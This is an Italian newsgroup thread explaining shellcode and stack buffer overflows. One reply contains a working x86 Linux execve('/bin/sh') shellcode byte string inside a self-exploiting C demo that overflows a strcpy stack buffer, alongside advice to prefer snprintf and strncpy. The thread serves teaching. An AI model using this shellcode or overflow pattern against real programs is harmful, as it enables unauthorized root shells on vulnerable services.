Newsgroup: it.comp.sicurezza.varie
Titolo: Shell code

Scusate sento parlare spesso di shellcode, per cui - non sapendo cos'e' - mi
sono documentato ma non ho trovato granche' per cui chiedo a voi.
Ho visto certi programmi c che dichiarano dei char con stringhe
incomprensibili di 0x0a e robe simili. Pensando che siano codici esadecimali
che corrispondono a istruzioni assembler mi incuriosiva sapere:
a. dove sono referenziati
b. la corrispondenza Numero esadecimale <--> Istruzione assembler
c. che influenza possono avere in caso di buffer overflow: sono quelli che
rendono exploitabile un buffer overflow
d. se avete degli esempi
Grazie,
Damiano

sono documentato ma non ho trovato granche' per cui chiedo a voi.
mi sa che hai sbagliato NiusGrup...
Ciao!
Davide
-- 
Volontario Anti-Troll (TM) 
SecurFaq: 
http://members.nbci.com/gouldukat/
DocTrolls: 
http://it.geocities.com/roccopapaleo/faq/italiano/Troll.html
Netiquette: 
http://www.inferentia.it/netiquette/dis.html

Scusate sento parlare spesso di shellcode, per cui - non sapendo cos'e' - mi

Allora: i codici esadecimali corrispondono a bytes, che corrispondono ad
istruzioni, per QUEL particolare processore. Tali istruzioni ordinano al
processore di compiere determinate operazioni, che hanno significato per
QUELLA particolare release di QUEL sistema operativo.
Quindi, uno shellcode per Solaris non funzionera' su Intel, e, su Intel,
uno shellcode per Windows non funzionera' su Linux, e uno per Linux SuSE
non e' detto che funzioni su Debian, Mandrake o Red Hat... e uno per Red
Hat 7.0 non e' detto che funzioni su Red Hat 7.1.
E' un po' come se tu potessi inviare una sequenza di ordini ad un cieco,
con la sicurezza che obbedira'. Gli devi ordinare d'aprire la cassaforte
della ditta, ma:
	- devi sapere che lingua parla il cieco (processore)
	- devi sapere DOV'E' la cassaforte
	- devi sapere quale sia la combinazione
perche' le istruzioni devono essere del tipo
	"Alzati. Due passi a destra. Alza la mano. Ruota il disco."
e, se la cassaforte e' a TRE passi, o il disco e' spostato di lato, non
hai speranze; il proprietario, tornando, trovera' il ciechino che muove
la mano sulla maniglia del cesso, lo interroghera' e capira' tutto.
Quello che rende "exploitabile" un buffer overflow e' la "collocazione"
del buffer. Su Linux, un buffer del tipo
	int funzione()
	{
		char buffer[96];
		..
e' vulnerabile, perche' "buffer" e' allocato in una zona di RAM che e'
detta "stack", e che e' eseguibile. Viceversa,
	int funzione()
	{
		static char me_lo_puppi[96];
credo NON sia vulnerabile, perche' i dati statici sono messi altrove,
e
	int funzione()
	{
		char *me_lo_puppi_fortemente;
		if ((me_lo_puppi_fortemente = malloc(96))==NULL)
			return EXIT_FAILURE;
e' ancora meno vulnerabile.
Una volta che e' vulnerabile perche' SIA vulnerato :-) occorre che il
programmatore lo usi MALE:
	#define		SIZE	128
	int funzione()
	{
		char *ma_manco_se_piangi;
		if ((ma_manco_se_piangi = malloc(SIZE))==NULL)
			return EXIT_FAILURE;
NO!		sprintf(qui_mi_freghi, "formato", ... );
SI'!		snprintf(ma_manco_se_piangi, SIZE, "formato", ... );
Per esempio, se qualche spirito volenteroso volesse provare con roba
tipo:
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char exploit[128];
/*
        Questa funzione invia un output maiuscolo a seconda dell'input
        utente, senza modificare l'input originale.
        Il buffer e' fornito dal chiamante, cosi' non devo farmi beghe
        mentali con malloc() e free(), perche' sono un pigroglione.
*/
int funzione_vulnerabile(char *buffer, char *InputUtente)
{
        int i;
        strcpy(buffer, InputUtente);
        if (buffer[0] > 'z' || buffer[0] < 'A')
        {
                printf("Ma parli arabo!!!");
                return 0;
        }
        for (i=0; i < strlen(buffer); i++)
                buffer[i] = toupper(buffer[i]);
        printf("Hai scritto: '%s'\n", buffer);
        return 0;
}
int main(void)
{
        char buffer[96];
        int i;
        long *long_ptr = (long *) exploit;
        for (i = 0; i < 32; i++)
                *(long_ptr + i) = (int) buffer;
        for (i = 0; i < (int) strlen(shellcode); i++)
                exploit[i] = shellcode[i];
        /* Facciamo finta che l'utente abbia scritto... */
        funzione_vulnerabile(buffer, "Ciao, Io sOnO Un aChEr cOn
 eSpErIeNzA AcUiSiTa!!!");
        getchar();
        /* E mettiamo che invece avesse scritto qualcos'altro, che per
semplicita' teniamo gia' pronto in "exploit"... */
        funzione_vulnerabile(buffer, exploit);
	printf("Goodbye. Disconnessione in corso...\n");
        return EXIT_SUCCESS;
}
...da linea di comando forse non vi accorgete di nulla (ne dubito), ma,
se per disgrazia questo programma fosse un daemon, con magari i diritti
di root, anziche' "Disconnettere", da' "Accesso completo al sistema".
Ora, scritto "funzione_vulnerabile(buffer, exploit);" si vede bene, ma,
mettiamo che ci fosse scritto (esempio puramente inventato)
	GetInput(szUserHTTPAuthInput);
	UserEcho (lpstrDummyBuf, szUserHTTPAuthInput);
	CloseConnection();
...sarebbe un normalissimo programma che legge un comando - tipo magari
un login - e risponde con una singola informazione, come per esempio l'
Excuse Server di Simon P. Travaglia, o un qotd "sicuro" :-) o altro.
Leonardo
-- 
Linux PC is like South Pole igloo.
not get blue, not freeze to death, no Windows, no Gates,
and helluva penguins all around.

		char *ma_manco_se_piangi;
vedo che bene o male la dialettica dei programmatori è la stessa ;-)
Per il resto non ho capito niente... ma non mi faccio problemi...
Per la serie: capisco la sintassi ma ora che imparo i metodi... :-)
Il java mi ha rovinato... sigh.
Ciao!
Davide che sto litigando con una I.A. sperando di farla crashare.


Leonardo
Un Andrea che... ma ci sara' qualcosa che quest'uomo non sa'?
-- 
Windows 98, per il virus che non deve chiedere.... mai.
"Cancellami" se mi vuoi rispondere
Prima o poi cambiero' la sign, purtroppo oggi non ho tempo

}
E qui succede il resto, perché la RET prende dallo stack l'indirizzo di
ritorno, che ora punta a buffer, e viene dunque eseguito il codice
maligno.
Spero che sia giusto.
Però, scusa, a me non pare che la colpa sia di funzione_vulnerabile, ma
della progettazione del programma in se: se anche metti una strncpy()
sei fregato lo stesso, no?
Altra domanda: qual è la lunghezza di InputUtente? C'è uno '0' alla
fine? Io non lo trovo... :-(
-- 
Saluti,
    Mardy

sei fregato lo stesso, no?
Se provassi a METTERCI la strncpy, scopriresti che non puoi... perche',
per l'appunto, manca un parametro. Perche' la funzione e' maldichiarata
in partenza.
E cosi'... la strncpy, che ti protegge quando la usi, ti protegge anche
quando non la usi, perche' ti fa domandare "com'e' che non posso usarla
in questo punto?".
Leonardo
-- 
"Open Source programs are designed and developed.
 Our products are tested."
 Steve Lipner, manager, Microsoft Security Response Center